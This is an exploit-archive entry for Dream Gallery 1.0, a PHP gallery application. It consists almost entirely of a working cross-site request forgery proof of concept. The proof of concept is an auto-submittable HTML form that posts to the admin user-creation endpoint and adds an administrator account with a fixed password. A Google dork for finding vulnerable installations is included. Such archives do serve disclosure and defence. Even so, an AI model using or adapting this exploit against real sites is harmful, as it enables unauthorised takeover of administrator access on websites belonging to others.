Dream Gallery 1.0 - Cross-Site Request Forgery (Add Admin)

2016-06-06T00:00:00
ID EXPLOITPACK:26EE947ED680501379358FB4ECB14203
Type exploitpack
Reporter Ali Ghanbari
Modified 2016-06-06T00:00:00

Description

Dream Gallery 1.0 - Cross-Site Request Forgery (Add Admin)

                                        
                                            <!--
# Exploit Title: Dream Gallery - CSRF Add Admin Exploit
# Google Dork: "Design by Rafael Clares"
# Date: 2016/06/03
# Exploit Author: Ali Ghanbari
# Vendor Homepage: http://phpstaff.com.br/
# Version: 1.0

#Exploit:
-->

<html>
 <body>
   <form method="post"  action="http://localhost/{PACH}/admin/usuario.php?action=incluir">
      <input type="hidden" name="user_login" value="ali">
      <input type="hidden" name="user_password" type="hidden" value="123456" >
      <input type="hidden" name="user_email" value="">
      <input type="submit" value="create">
  </form>
 </body>
</html>

<!--
#########################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007
-->